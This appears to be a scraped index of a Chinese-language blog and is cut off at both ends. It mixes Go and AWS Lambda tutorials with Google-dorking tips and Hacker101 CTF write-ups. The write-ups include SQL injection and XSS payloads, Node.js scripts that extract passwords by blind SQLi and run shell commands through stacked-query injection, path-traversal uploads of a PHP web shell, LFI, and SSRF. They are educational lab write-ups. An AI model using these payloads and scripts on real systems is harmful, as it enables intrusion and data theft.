\"time\")func main() { ch := make(chan string, 2) go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start// put// end 若 channel 是已滿的情況,再額外塞入時就會跟 unbuffered channel 一樣會被 blocked,一樣會需要其他 goroutine 先去讀取才可以觸發那條 case,我們先來看被 blocked 的情況 12345678910111213141516171819202122package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) ch <- \"cool\" ch <- \"cool\" go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start 一樣要解除這個情況,需要去把讀出 channel 資訊才可以繼續往下執行。 12345678910111213141516171819202122232425package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) ch <- \"cool\" ch <- \"cool\" go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") } fmt.Println(\"end\") }() <-ch time.Sleep(2 * time.Second)}// start// put// end 所以當下 case 都被 blocked 的話,且又有 default case 存在,就會一併跑到 default 去執行。 1234567891011121314151617181920212223242526package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) ch <- \"cool\" ch <- \"cool\" go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") default: fmt.Println(\"default\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start// default// end 所以在使用 select 要小心監聽的 channel 的情況,若有加上 default 的條件,對於 channel 會不會 block 就需要更加理解,否則可能全部都走到 default 去了,另外如果當 select 中存在兩者一樣的 case 則是會隨機挑一條去執行,這個網路上查基本上都會有,這邊就不附範例程式碼。 References主要是從個人邊學邊紀錄在 Github Issuse 這邊整理過來的一些資料","link":"/2022/01/09/go-summary/"},{"title":"學習 Golang 的心得 - Receiver","text":"介紹程式語言共通的特性像是 for-loop, if-else, declaration 之類的又或是 go 的 type 宣告是在後面 var num int, 而 java 是 Int number又或是 go 中大寫代表 public 小寫代表 private這種只是單純因為語言特性不同而導致寫法不同, 通常不會是大問題基本上只要 google 一下大概就知道差別了 而我覺得學習語言最先要了解的是, 這個語言最獨有特性是什麼原因是這些獨有特性通常都會被廣泛用在任何地方等於說看其他人程式之前, 如果不先了解獨有的特性就會不容易看懂 個人覺得最先了解的應該是 Receiver 的概念 正文在說 Receiver 之前, 我們得先談談 struct 這個東西先說 go 並沒有 class 的概念存在, 反而是存在 struct寫過 C 的人應該會了解 struct, 簡單來說就是定義資料的結構像我定義一個資料結構是叫做 User 裡面有一個參數叫做 Name 123type User struct { Name string} 接著透過以下方法去使用 struct, 就會看到 jack 被印出來 1234567891011package mainimport \"fmt\"type User struct { Name string}func main() { user := User{ Name: \"jack\", } fmt.Println(user)} 那如果我想透過 function 去更改我的名字呢?透過以下 function 就可以實現 123456789101112131415package mainimport \"fmt\"type User struct { Name string}func changeName(user *User) { user.Name = \"hi\"}func main() { user := User{ Name: \"jack\", } changeName(&user) fmt.Println(user)} 看到上面的 * & 時, 要注意到 go 語言有指標的概念存在指標這東西講起來也複雜, 我直接實際帶例子看看差別你會發現下面的例子, 我移除掉 * & 這兩個符號後, 依舊印出來是 jack結果跟上面例子不一樣, 這就是指標的特性當你呼叫 function 用指標當作參數的話, 當裡面更改參數時, 是會連同修改到外面傳進來的參數套在 js 概念時, 其中一個例子就是當 js function 中對傳進來的『物件中參數做更動,而不是重新賦值』時也會連同修改到外面傳進來的參數, 簡單來說, 就是改到同一塊記憶體位置 但要注意的是, Go 並不是 pass-by-reference『Everything in Go is passed by value』, 有興趣可以看看官網解說 123456789101112131415package mainimport \"fmt\"type User struct { Name string}func changeName(user User) { user.Name = \"hi\"}func main() { user := User{ Name: \"jack\", } changeName(user) fmt.Println(user)} 接著要講到重點了, 上面的 function 可以改寫成另一種型態 123456789101112131415package mainimport \"fmt\"type User struct { Name string}func (user *User) changeName() { user.Name = \"hi\"}func main() { user := User{ Name: \"jack\", } user.changeName() fmt.Println(user)} 第一次看到看到參數可以寫在 function name 前面很特別吧 XD但仔細比對, 雖然在 function 宣告上其實是很相似佔看之下只是把 paramters 的部分移動到 function name 前面而已 123456func (user *User) changeName() { user.Name = \"hi\"}func changeName(user *User) { user.Name = \"hi\"} 但這確有很大不同的意義其中是一個是使用的方式大有不同, 這就是 receiver 中的一個特色當你把 function 參數搬到前面時, 他就變成 receiver 的一種也就是,當你的資料結構為 User 時, changeName 就是你所屬的一個 function 12user.changeName() // 對應到上面第一個 changeNamechangeName(user) // 對應到上面第二個 changeName 但這個 receiver 可以根據你資料的結構去進行變化也就是說, 你可以再定義一個新的資料結構, 但 method name 也取一樣以下面例子來說, User 有自己的 changeName function, School 有自己的 changeName function在 go 裡面會根據資料結構的定義去找到相對應的 function 去執行 不過以下兩種定義又有不一樣的意思User 的是 Pointer Type 的實作, School 的是 Value Type 的實作簡單來說 Pointer Type 在呼叫方法時, 若在方法內有改值則會修改到原始傳進來的值Value Type 則是複製一份, 所以在使用的時候不會改到傳進來的值 123456func (user *User) changeName() { user.Name = \"hi\"}func (school School) changeName() { school.Name = \"hi\"} 後記以上就是 go receiver 的介紹, 這在 go 中非常常見也是我寫過的語言中最為特別的一種應用方式, 畢竟 go 並沒有 class 的觀念存在『硬要』用 java 去解釋的話, 就會變成 User 是一個 class, 而 changeName 是我 instance 實例化後的一個 method但還是要強調, 用其他語言去解釋只是比較容易解釋, 但本質上是不一樣的 接著下一篇會提到 interface & struct 的交互應用因為這個交互應用可以對應到 unit test 中如何去做 mock 有關係 References https://openhome.cc/Gossip/Go/ https://dave.cheney.net/2017/04/29/there-is-no-pass-by-reference-in-go","link":"/2021/04/18/go-practice-1/"},{"title":"Google Hacking","text":"這次要跟大家介紹一下 Google 到底有多好用相信用過 Google 都知道,Google 的搜尋很方便但是你知道,Google 還有提供除了關鍵字搜尋以外的各種神奇的搜尋方式嗎 ? 下面這張表就是 Google 提供的各種搜尋技巧先用幾個來讓大家了解如何使用這個方便的技巧吧! site:假設我想要搜尋我這個網站的,光靠關鍵字搜尋是很難搜尋到的排名不高,曝光度也不高更是難上加難但是可以透過以下的方式搜尋到1site:yu-jack.github.io intitle:intitle 就是搜尋 title 呈現的文字我們可以搜尋一個有趣的東西 “Index Of” 1intitle:"Index Of" 可以發現搜尋到一些看起來很像目錄的東西這個代表這個網站的開發者,沒有適當的處理這個問題這樣會導致網站的所有目錄曝光在公眾之下裡面是什麼,我就不點了,有興趣可以試試看 inurl:inurl 就是搜尋 url 之中有沒有包含這個字串我用以下方式搜尋的話1inurl:login就會發現一堆 url 包含 login 的網址出現 filetypefiletype 會去搜尋副檔名,但是他不能單獨使用必須跟其他指令混在一起使用 1inurl:ntust filetype:pdf 結論這邊做了一點簡單的介紹而已,並沒有作太多詳細介紹但是可以參考以下的 PDF 去觀看更多不同的技巧Google Hacking for PenetrationTesters 下面這個是公開搜尋 keyword,也許可以直接搜尋到別人不想讓你看到的東西Google Hacking Database 介紹就到這邊,以後有空會再回來把這篇補詳細","link":"/2017/10/17/google-hacking/"},{"title":"Go Concurrency Patterns","text":"介紹這篇主要是前陣子讀完 Concurrency in Go 的一些心得。裡面提到很多關於 Concurrency 實作的一些技巧,讀完之後有特別實作出來,可以參考個人的 repository go-concurrency-patterns。 以下是個人從書中擷取出來認為比較核心的技巧和觀念,本文不會提及太多 Patterns,詳細可以上面的 repository 看看唷! 核心技巧書中提到的 Patterns 都是最大化利用 channel 的特性去達成。 先舉書中第一個 Generator Pattern 來做說明。可以發現以下 generateData function 是負責去建立和關閉 channel,而外面則是用 range 去讀 channel。 123456789101112131415161718192021func generateData() <-chan int { data := make(chan int) go func(data chan int) { for i := 0; i < 10; i++ { data <- i } close(data) }(data) return data}func main() { data := generateData() for d := range data { fmt.Println(d) }} 其實這是利用了 channel 的兩特性而結合的一種 pattern 不能向已關閉的 channel 進行寫入 可以向已關閉的 channel 進行讀取 正是因為以上兩點,所以書中才會建議建立 channel 的人是要負責關閉的,而不是讀取又或是其他地方去關閉。以第 2. 點來說,透過 range 讀取 channel 的話,當 channel 被關閉時,是會跳出 range 這個 loop 的。即使不用 range,用 v, ok := <- data 中的 ok 也能夠知道 channel 究竟有沒有被關閉。 所以在讀取部分可以很大限度避免 panic 出現,而在寫入的部分更可以透過指定 function 回傳是只能讀的 channel,進而避免外面使用的人出現 panic 的情況。 核心觀念核心觀念則是要防止 goroutine leak,因爲 goroutine 在 go 中其實是一個不太佔資源的東西,但是若只是因為他不佔資源,而隨意使用還是會造成很大的後果。 所以要如何正確關閉 goroutine 就變得非常重要,以最基本的就是透過 done channel 以及 timeout 去關閉 channel。 先從 done channel 來看看,舉下面例子來說,我從 channel 讀到一定數量想要跳掉,但我又不是建立 channel 的人,該怎麼去關閉呢?其實可以透過傳入 done 這個 channel 並讓裡面的 goroutine 使用 select 去監聽。透過這種方式的話,即使外面 function 沒有把 channel 讀完,只要透過 defer close(done) 的方式,確保外面 function 結束時一定會去關閉。 1234567891011121314151617181920212223242526272829303132333435func generateData(done <-chan struct{}) <-chan int { data := make(chan int) go func(data chan int) { defer close(data) i := 0 for { select { case <-done: return case data <- i: i++ } } }(data) return data}func main() { done := make(chan struct{}) data := generateData(done) counter := 0 for d := range data { fmt.Println(counter, d) counter++ if counter == 5 { close(done) break } }} 如果不關閉的話,就會一直卡在 data <- i 這邊,而裡面的 goroutine 永遠都不會結束。也就意味著,萬一這個 function 被呼叫一百萬次,而每次都是讀一半就結束然後不關閉的話,就會有一百萬個 goroutine 卡在那邊,這也是非常消耗資源的一件事情。 再來看看 timeout,其實也是類似的概念,只是把原本吧 select case <-done: 的地方換成 <-time.After(10 * time.Second)。這樣能夠預防萬一 generateData 執行太久,外面一堆 function 都在等著讀取,進而導致一堆 goroutine 排隊等著讀取的現象發生,就像呼叫一百萬次,結果這一百萬個都要等待 generateData 產完資料,這也是一件非常消耗資源的事情。 另外透過 timeout 也能盡量避免資源被吃掉的問題出現,但如果你是本身流量就很大那完全就是另一回事了。然後透過 timeout 也可以防止 deadlock 的問題出現,原因是有些資源會互卡,在互卡的情況下,如果不設置 timeout,就會永遠 pending 在那邊。當然不是說設定 timeout 是最佳解,只是一種預防程式掛掉的方式,實際還是得找為什麼資源會互卡這件事。 後記個人還蠻推薦看這本書,這篇省略蠻多東西,但有把我覺得最重要的東西提出來。 另外有把書中提到的 Pattern 整理在 go-concurrency-patterns,有興趣的可以讀看看。","link":"/2022/10/04/go-concurrency/"},{"title":"Hacker 101 CTF Write Up Part 2 - Micro-CMS v1, Petshop Pro","text":"系列篇第二篇,Micro-CMS v1 還因為玩壞掉我重開了快二十次才可以開來玩 QQ Micro-CMS v1根據題目總共有 4 個 Flag 0x00打開頁面後頁面是 試著建立 post 試試看 發現有 XSS 跳出來,但打開原始碼沒發現什麼變化 按了 Go Home 會去上一頁就跳出 FLAG 了 0x01因為跳出 xss 的時候注意到 page 後面的 id 帶的是 8覺得很疑惑,因為總共才三筆資料,id 怎麼會是 8? 於是就 8 7 6 回去一個一個看看是不是有什麼玄機發現 id 是 6 的時候,出現了 forbidden 的字樣,寫著不可讀 竟然不可讀的話,試著加上 edit 發現可以編輯,且內容有 FLAG 0x02接下來就試著對每一個頁面的 id 做 SQL Injection發現在 edit 的頁面狀況下,id 會有 SQL Injection於是就跳出 FLAG 了 0x03這個漏洞我找非常非常的久才發現原來的 <svg/onload=alert('xss') payload 是跳不出 FLAG 的要用 <img src="" onerror="javascript:alert('xss')"/> 才跳得出來 打開原始碼發現 FLAG 就藏在下面第一張是 img tag 的原始碼第二張是 svg tag 的原始碼兩個都可以觸發 xss,但只有 img 有 FLAG不知道為何 svg 那一個 payload 不能觸發可能是這題的解答,有希望某一些固定的 tag 去寫才會造成 svg payload 跳不出 FLAG Petshop Pro根據題目總共有 3 個 Flag 0x00進去之後頁面長這樣 按下 Add to Cart 之後 在按下 checkout 看來是一個結帳流程,講到錢就想來試試看能不能 0 元結帳看了一下 source code 發現有一個 hidden input 並且用 javascript 把價格更改成 0 元後送出 送出後價格為 0 元且拿到 FLAG 0x01透過 nmap 找到登入點為 /login 之後 稍微試著輸入單引號看看會不會有 SQL Injection 問題,結果沒有 QQ但因為輸入 username 的時候,輸入錯誤會爆出 Invalid username代表說此系統設計方式,如果輸入正確的 username 的話,應該不會爆出這個錯誤根據以上邏輯先寫出第一版程式找找看 username 找到 username 後輸入,的確變成 Invalid password那就繼續找密碼 接下來用一樣的方式找到密碼 登入成功,出現 FLAG! 0x02登入後發現可以編輯商品 試著輸入 xss payload,跳出 xss,但打開原始碼沒發現任何東西 試著加入購物車發現,也會跳出 xss 打開原始碼發現 FLAG!","link":"/2019/09/06/hacker101-part2/"},{"title":"Hacker 101 CTF Write Up Part 4 - Photo Gallery","text":"Photo Gallery 0x00一開始畫面長這樣 發現原始碼有一個 fetch?id=1 點進去網址發現回傳一個 jpg 的 text 檔案 從這可以推測他是用 id 去 mysql 取出 filename 然後讀出來的加個 ‘ 發現好像沒有 SQL Injection 的存在,但卻出現 500 Internal Server Error可能程式有哪邊出錯了,繼續往下測試 不過當改下 fetch?id=1 union all select 1 以及 fetch?id=1 union all select 1,2 發生一點不同變化前者出現跟 fetch?id=1 結果一模一樣 (上圖)後者卻出現 500 Internal Server Error (下圖) 看來就是有 SQL Injection 的問題了接下來找到可以用 fetch?id=1 and length(database()) = 6 這種方式去判斷後者是否為 true思路大概跟這篇做法一樣 https://www.hackthis.co.uk/articles/blind-sql-injection用各種 length() 以及 like '______' 的方式可以找到相對應的值這邊就直接丟 sqlmap 把整個 table dump 出來了就發現 FLAG 了 0x01這提跟前一提的 fetch?id=1 union all select 1 Payload 有關係前面有提到是透過 id 去撈 filename 回來去顯示改成 fetch?id=123123 union all select "files/adorable.jpg" 發現可以正確觸發 LFI 漏洞就出現了,我可以任意去讀檔案了本來想說這 php 寫的網站用以下的 payload,結果取得不到 …fetch?id=123123 union all select "index.php" 後來看提示才知道這是用 uwsgi-nginx-flask-docker image 做的此 image 原始碼在放在 main.py,所以改成以下 payload 就讀到原始碼,發現第二個 FLAGfetch?id=123123 union all select "main.py" 0x02看到 source code 之後,發現在取得 used space 那邊有 command injection 的問題subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\\n', 1)[-1]只要能在 filename 加上 ; 再加上後面想要執行的指令就可以觸發 CI 的問題了但要觸發他必須要靠 photos table 裡面的 filename 去觸發一開始嘗試使用 stacked query 的方式,以下為 payload541; UPDATE photos SET filename = '; ls ' WHERE id = 3; 試了很久完全沒有任何反應,本來以為不是 stacked query 這條路結果回去翻題目的提示有提到 COMMIT 這個關鍵字才想到有時候 SQL 指令下 UPDATE 變更完並不會馬上生效而是要下 COMMIT; UPDATE 的語法才會真正觸發於是 Payload 改成以下這樣就成功了,下面變成 uwsgi.ini 了fetch?id=541; UPDATE photos SET filename = "; ls" WHERE id = 3; COMMIT; 然後根據 main.py 的 regex 修改一下,然後寫出一個可以一直輸入 command 的 node.js 程式123456789101112131415161718192021222324252627function inputFunction(readline) { readline.question(`Keep input\\n\\n`, async (command) => { const axios = require('axios') await axios({ method: 'GET', url: 'http://34.74.105.127/8142a5acbe/fetch', params: { id: `541; UPDATE photos SET filename = '; ${command} | tr \"\\\\n\" \";\" ' WHERE id = 3; COMMIT;` } }).then(response => response.data).catch((err) => { return; }) let result = await axios({ method: 'GET', url: 'http://34.74.105.127/8142a5acbe/' }).then(response => response.data) console.log('\\n' + result.split('Space used: ')[1].split('</i></div>')[0].replace(/;/g, \"\\n\")); inputFunction(readline) })}(() => { const readline = require('readline').createInterface({ input: process.stdin, output: process.stdout }) inputFunction(readline)})() 但是逛了老半天 … 完全不知道 flag 放在哪裡跑回去看題目提示到 『enviroment』,才想到有可能放在應用程式裡面的環境最後下一個 printenv 就拿到 FLAG 了 ! 簡單 demo 影片 後記這題蠻有趣的,學到 stacked query、command injection 以及 LFI不過過程中有些真的不知道怎麼做,跑去看提示才知道不然真的瞎子摸象摸不太出來 QQ","link":"/2019/09/10/hacker101-part4/"},{"title":"Hacker 101 CTF Write Up Part 5 - Cody's First Blog","text":"Cody’s First Blog這題總共有 3 個 flag 0x00一開始畫面長這樣 裡面有提到好像是用 php 建立的試著提交看看 <?php echo phpinfo(); ?>就得到第一個 FLAG 了,但好像沒有像想像中一樣可以直接 phpinfo 0x01接下來看一下 source code 發現一個特別的地方 被註解掉的 admin path Path: http://34.74.105.127/8a10550a14/?page=admin.auth.inc發現看到可以登入的地方 嘗試輸入 username 看會不會有列舉的漏洞以及輸入一些弱密碼嘗試登入全部都不行,暫時就先擱置不看 這邊就開始有點卡住了 …回去首頁看看有什麼特別的東西有一句話有提到有用到 include 這個 function而剛剛的參數中 ?page=admin.auth.inc 是登入用的 php接下來這邊試著改成 ?page=admin.inc 發現就 bypass 登入的機制到 admin 頁面了然後就發現 FLAG 以及可以 approve 剛剛 submit 的 comment 0x02按下 approve,是一個 GET Url嘗試對 approve 做 SQL Injection 檢測發現沒有問題 接下來回到首頁,檢視原始碼發現一個特別的東西一開始輸入的參數被 approve 後顯示在這裡有點特別,但因為不能執行所以沒什麼用就先擱著不動 接下來嘗試對 page 參數亂打 看來的確是用 include 去引入別的檔案而且還會再參數後面再加入 .php 的副檔名 這邊嘗試用 php://filter 看能不能讀取原始碼結果發現不能 QQ 看到 include 後回想起首頁提到的這個 server 不能對外連線,也只有作者可以上傳檔案以及他都是用 include 去引用檔案 這裡聯想到一件事情include 是不是也能用 http:// 去把檔案引入並執行呢?於是這邊嘗試引用 http://34.74.105.127/8a10550a14/?page=http://localhost/admin.inc發現可以引用成功,但還是沒有提供什麼資訊 但因為用 include 配合 http:// 會有一個特色假如 test2.php 內容為12<?php $body = \"<?php echo phpinfo(); ?>\" ?><p><?php echo $body ?></p> test3.php 內容為1<?php include(\"test2.php\") ?> 直接讀取 test2.php 的時候,是沒辦法執行 phpinfo()只會出現這樣的結果 讀取 test3.php 時這邊會出現跟直接讀取 test2.php 一樣的結果 但如果把 test3.php 改成用 http:// 協議會怎麼樣呢?1<?php include(\"http://localhost:7888/test2.php\") ?>它會把 test2.php 顯示的結果,當成原始碼繼續使用下去結果就會變成可以成功執行 phpinfo 了 那因為剛剛一開始頁面也有一樣的邏輯出現首頁也有顯示 <?php echo phpinfo(); ?> 那如果說有辦法,讓這個頁面在被 include 一次的話就可以成功執行 phpinfo() 了所以 payload 會改成以下http://34.74.105.127/8a10550a14/?page=http://localhost/index然後就成功可以執行了 重新輸入一個參數 <?php readfile("index.php") ?> 並且 approve回到首頁檢視原始碼發現 FLAG !","link":"/2019/09/14/hacker101-part5/"},{"title":"Hacker 101 CTF Write Up Part 1 - Micro-CMS v2, TempImage","text":"近期想到 HackerOne 找找 Bug Bounty卻意外發現這邊有 CTF 可以玩玩,就順手玩了幾題然後做紀錄 Micro-CMS v2根據題目總共有 3 個 Flag 0x00一進來頁面長這樣 試著建立一個新的 Page, 發現要登入帳號密碼 看到帳號密碼就是要先下個單引號,結果就噴出 exception 了 根據 error 的 sqlcur.execute('SELECT password FROM admins WHERE username=\\'%s\\'' % request.form['username'].replace('%', '%%')可以推斷出他是透過 username select 出來後再用程式比對密碼有 SQL Injectiob 的話,就可以走 union all select 的套路username: 'union all select 1#password: 1 補充:union all select 可以組合前一個和後一個 SQL 結果假設 select username from admins where uername = 'admin' 會回傳 admin但如果是 select username from admins where uername = 'not_exists' 會回傳空的東西配合 union all select 的話select username from admins where uername = 'admin' union all select 1 會回傳 admin, 1 兩個值那如果是 select username from admins where uername = 'not_exists' union all select 1 只會回傳 1 登入成功後,可以看到有一個 Private Page 點進去後發現第一個 FLAG 0x01接下來嘗試新建立 Page 接下來就試著輸入 <svg/onload=alert(document.cookie),建立成功 發現好像也沒跳出什麼東西,嘗試去玩玩修改功能發現到第二次修改成功的時候會出現 Not Found URL,覺得有點疑惑 於是把 Payload 記下來拿到 Post Man 重新送送看,結果就拿到 FLAG 了 0x02這個漏洞找有點久,因為登入的時候,過幾秒會被導入到首頁,不會被停留在登入成功的頁面為了不讓 js 執行,所以改用 Post Man 去送,想看一下回來的 html 是什麼發現回來的 html 註解裡面有一個小提示 看起來是要往拿到真正的帳號密碼才會拿到 FLAG於是把資料丟到 sqlmap 就把資料 dump 出來的 登入成功後就拿到 FLAG 了 這邊用另一個不用 sqlmap 而是改用自己寫程式去做 (雖然 sqlmap 原理應該跟這個差不多)主要會用到 length(password) 和 length(username) 的方式先去判斷有幾個字元再透過 mysql _ 的匹配符號去做猜測,這個符號會去做一個比對假設字串是 username = abcde,username like ‘a____’ 就會比對成功,會回傳 true但如果是 username like ‘b____’ 就會比對失敗,會回傳 false接下來會利用這個特性去撰寫一個程式去找到完整的帳號密碼 假如說 length(password) = 5在 mysql 裡面可以這樣去寫 select username from admins where username = '' or password like '_____'然後在慢慢替換第一字 select username from admins where username = '' or password like 'a____' 去找到回傳 true 的狀況 先嘗試去找到密碼的長度,一般輸入結果如果為 false 會回傳 Uknown User 試著把 payload 改成 ' or 1=1# 發現回傳Invalid Password,代表說有找到使用者因為 false || true 的結果為 true,所以有成功從資料庫撈到資料 那是試著改成 ' or 1=221# 發現回傳 Uknown User 所以只要讓 username 那一段 sql 回傳 true,他就會把真正的密碼帶上來所以接下來可以試著用 ' or length(password)=1# 慢慢去比對看長度最後發現密碼長度為 8 接下來要構造出 like 的 payload 為 ' or password like binary '________'#如果上面成立的話,會回傳 Invalid Password 失敗的話則會回傳 Uknown User根據這兩個結果可以撰寫程式了,這邊會用 node.js 去做列舉這邊加上 binary 去強制去使用 CASE SENSITIVE 去做判別密碼為: marcelle 所以最後 username: ' or 1=1# password: marcelle登入後拿到 FLAG! 這邊附上程式123456789101112131415161718192021222324252627282930313233343536373839404142434445464748const axios = require('axios');const qs = require('querystring');(async () => { let passwordLength = 8; let password = (() => { let counter = 0; let temp = ''; while (counter < passwordLength) { temp += '_'; counter++; } return temp })(); let found = false let answer = ''; let position = 0; let allPosibile = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\" while (!found) { let tempPassword = password for (const char of allPosibile) { tempPassword = tempPassword.split(\"\"); tempPassword[position] = char; tempPassword = tempPassword.join(\"\") let payload = `' or password like binary '${tempPassword}'#` let result = await axios({ url: 'http://34.74.105.127/58b04db906/login', method: 'post', headers: { 'content-type': 'application/x-www-form-urlencoded' }, data: qs.stringify({ username: payload, password: '' }) }).then(response => response.data) if (result.includes('Invalid password')) { console.log(`${position}: ${char}`); answer += char; break; } } position++; if (position >= passwordLength) { break; } } console.log(answer);})() TempImage根據題目總共有 2 個 Flag 0x00剛進來頁面是這樣 點進去 upload.php 的頁面,發現可以上傳檔案 順便開原始碼有哪些 input 發現有 file 以及 filename 可以做更動,這邊先試著上傳一張正常的圖片URL: http://34.74.105.127/020fb13cda/files/eb705c0e32ff0f15c9801f5d40fe290f_test-3.png看起來是把我上傳的檔名變成檔案名稱了,這邊就試著改 filename (這邊使用 burp suit 去改,順便方便等等可以改內容)把 filename 改成 test-3.html 結尾 發現成功改成 .html 且成功是內容URL: http://34.74.105.127/020fb13cda/files/807fb7eecbe831518d078107d8f0fedf_test-3.html 這邊嘗試加上 ../ 在 filenmame 上面,發現爆出 FLAG 了 0x01從上一個 FLAG 發現有一個 move_upload_file 裡面會帶一個 path 這邊試著符合這個 path 帶入 /../test-3.html 試試看 發現 URL 變成 http://34.74.105.127/020fb13cda/files/test-3.html往上跳了一層 … !?因為此 server 可以執行 php,於是改成 php 試試看順便在檔案內容之中多加一個 <?php phpinfo(); ?> 發現內容還是顯示圖片格式? 這邊試著把檔案內容全砍掉只留下 <?php phpinfo(); ?> 結果被判定成不是 PNG 不能上傳了 如果不是改檔案副檔名和 Content-Type 會影響格式判斷的話有可能是根據 PNG 的前幾個 bytes 去判斷,所以這邊只留下前面的 bytes 發現無法顯示 QQ,這邊不確定原因,試了非常久 後來想到在上傳到上一層不知道會怎樣,於是試試看 發現成功執行 PHP 檔案!!所以代表可能是 files 那一層有鎖不能顯示 php 檔案URL: http://34.74.105.127/020fb13cda/test-3.php 接下來上傳 web shell 去看看有什麼檔案 逛了一下,發現 index.php 有 FLAG 存在","link":"/2019/09/04/hacker101-part1/"},{"title":"Hacker 101 CTF Write Up Part 3 - Ticketastic Live Instance","text":"系列篇第三篇,目前題目寫下來都蠻有趣的 Ticketastic: Live Instance根據題目總共有 2 個 Flag 0x00一進來發現有兩個同樣名稱的題目,這邊先點上面的 DEMO 進去看看 大概就是介紹,但最後發現一句特別的話『會有機器人來讀這些 ticket』不太明白這意思,先放著一邊繼續看看有什麼功能,裡面提到用 admin/admin 可以先登入 登入後可以看到有一個 ticket 以及可以新建使用者 點了 ticket 進去看了一下,提到說,如果處理錯誤的話會在這邊被標記起來看起來是使用者提供錯誤的連結的話,當機器人處理不了時會在這邊顯示提醒但這邊看起來沒什麼洞可以挖,繼續往下 嘗試去建立使用者,發現可以建立成功 另外還發現建立方式是用 GET 去建立這就有點微妙了,一般來說,像是使用 LINE 等等通訊軟體貼連結上去,都會預設去做 GET,然後把預覽顯示出來這邊也有可能走這種方式 這邊建立一個 ticket 嘗試看能不能用 GET 連結的方式去建立使用者但卻發現連結處理錯誤!? 試著換另一個連結,依舊錯誤 想了非常久才想到,這應該是 SSRF 的一種利用於是把 payload 改成 localhost 的方式去探測能不能用內網方式新增使用者發現不再顯示錯誤連結! 建立的使用者也能正確地登入! 接著就把這個 Payload 帶到另一個題目,發現能夠登入!登入後發現第一個 FLAG 0x01接下來發現連結上面有 id試著帶入單引號發現噴出 SQL Exception 丟入 sqlmap dump 出 admin 的密碼就是 FLAG 了","link":"/2019/09/08/hacker101-part3/"},{"title":"如何用 AWS API Gateway 和 Lambda 上傳和下載檔案 -- Part 1","text":"這篇主要是記錄如何利用 AWS lambda 和 AWS API Gateway 做檔案的上傳以及下載在 API Gateway 中要做幾項設定才有辦法達成加上 Lambda 不能回傳『完整』的 binary 所以必須搭配 API Gateway mapping template 調整這篇不會一步一步教學開 API Gateway 和 Lambda,只記錄重點部分 API Gateway主要調整得地方有兩個 /upload Integration Request /download Integration Response 另外還有一種特別的方式,是利用 API Gateway 的 Binary Support 去處理這種方式會列在最後面 /upload Integration Request 到 body mapping template 底下調整成圖片樣子(Generate templaye 選擇 “Method Request passthrough”) 12345// 需要修改的部分為第一行的 body// 其他行不需要做調整{ \"body\": \"$util.base64Encode($input.body)\"} /download Integration Reponse 到 body mapping template 底下調整成圖片樣子 1$util.base64Decode($input.body) Lambda主要是用 nodejs 去編寫處理上傳的部分 Handle upload request1234567891011const multipart = require('parse-multipart');exports.handler = (event, context, callback) => { // convert base64 string to binary const buffer = new Buffer(event.body, 'base64') const boundary = multipart.getBoundary(event.params.header['Content-Type']) const parts = multipart.Parse(buffer, boundary) return callback(null, { s: parts }) } Handle download request這邊範例是用去讀取 S3 的檔案 12345678910111213141516exports.handler = (event, context, callback) => { s3.getObject({ Bucket: 'your-bucket', Key: 'download_file.json' }, (err, data) => { if (err) { return callback(err) } // 原本方式是會直接回傳 JSON (DEMO 有圖) // callback(null, data.Body) // // 正確方式,回傳 base64,然後讓 API Gateway 去 decode callback(null, new Buffer(data.Body).toString('base64')) })} Demo with PostmanUpload File上傳要注意選 “form-data”然後隨便選擇一個檔案即可 Download File如果沒有在 API Gateway 做調整的話會變成沒錯,Lambda 是會直接回傳 JSON 的他並不會回傳 binary 給你,所以才要到 API Gateway 和 Lambda 做一些調整 (要到 mapping template 調整) 修改之後 然後可以改用程式下載檔案 123456const request = require('request')const fs = require('fs')const r = request.post('your_url')r.on('response', function (res) { res.pipe(fs.createWriteStream('download_file.json'))}); 額外補充 - Binary Support/upload integration request在 API Gateway 底下的 binary support 加上 multipart/form-data,API Gateway 就會自動幫我們做 base64 encode 而在 mapping template 就改成這樣即可lambda 不需要做任何調整 123{ \"body\": $input.json('$')} 註記 API Gateway payload 有限制 10mb Lambda 有限制 6mb 所以最大只能上傳或下載 6mb 的檔案但是,因為會轉成 base64,所以原本的 4mb 轉完可能變成 5mb這裡是特別要注意的地方","link":"/2017/11/04/handle-file-with-Lambda-and-API-Gateway/"},{"title":"Hacker 101 CTF Write Up Part 6 - Encrypted Pastebin (Padding Oracle 以及翻轉攻擊)","text":"Encrypted Pastebin這題總共有四個 flag 0x00一開始畫面長這樣 試著輸入值之後,發現上面有一段 ?post= 資料 嘗試更改之後,發現 flag 0x01根據上一個 error message 得知有用到 base64所以可以知道 ?post= 的是 base64接下來再輸入一些奇怪的值試試看 發現程式使用的是 aes-128-cbc 去把資料作加密且根據錯誤訊息表示 IV 要為 16 bytes,代表 post 是需要帶入 IV 進去的那根據這篇解釋 aes 加解密以及存在的 padding oracle 攻擊得知透過修改 iv 可以對解密後的資料做 XOR,進而達到目標 payload主要公式如下:12345678// new_iv 為攻擊者構造的 iv// iv 為原本的 iv// plain 為明文// middle 代表透過 aes 解密後,但還未經過 xor 的時候的 payload公式 1: plain[i] = middle[i] XOR iv[i]公式 2: 0x01 = middle[i] XOR new_iv[i]公式 3: middle[i] = 0x01 XOR new_iv[i]公式 4: plain[i]= 0x01 XOR new_iv[i] XOR iv[i]透過以上公式可以推斷出明文,這邊用 16bytes 去排版,方便後續說明123456789{"flag": "^FLAG^a38f2d9e2659df7212c341bc01a2cf828c7d663978eb476ac6d664a03f49c08c$FLAG$", "id": "3", "key": "rTU2s8qRJ4uRRdLFJbt-YA~~"}\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n 0x02因為上一題有發現 id 為 3於是開始繼續利用上一個 flag 提到的文章裡面的翻轉攻擊去修改解密後的明文123456789// new_iv 為攻擊者構造的 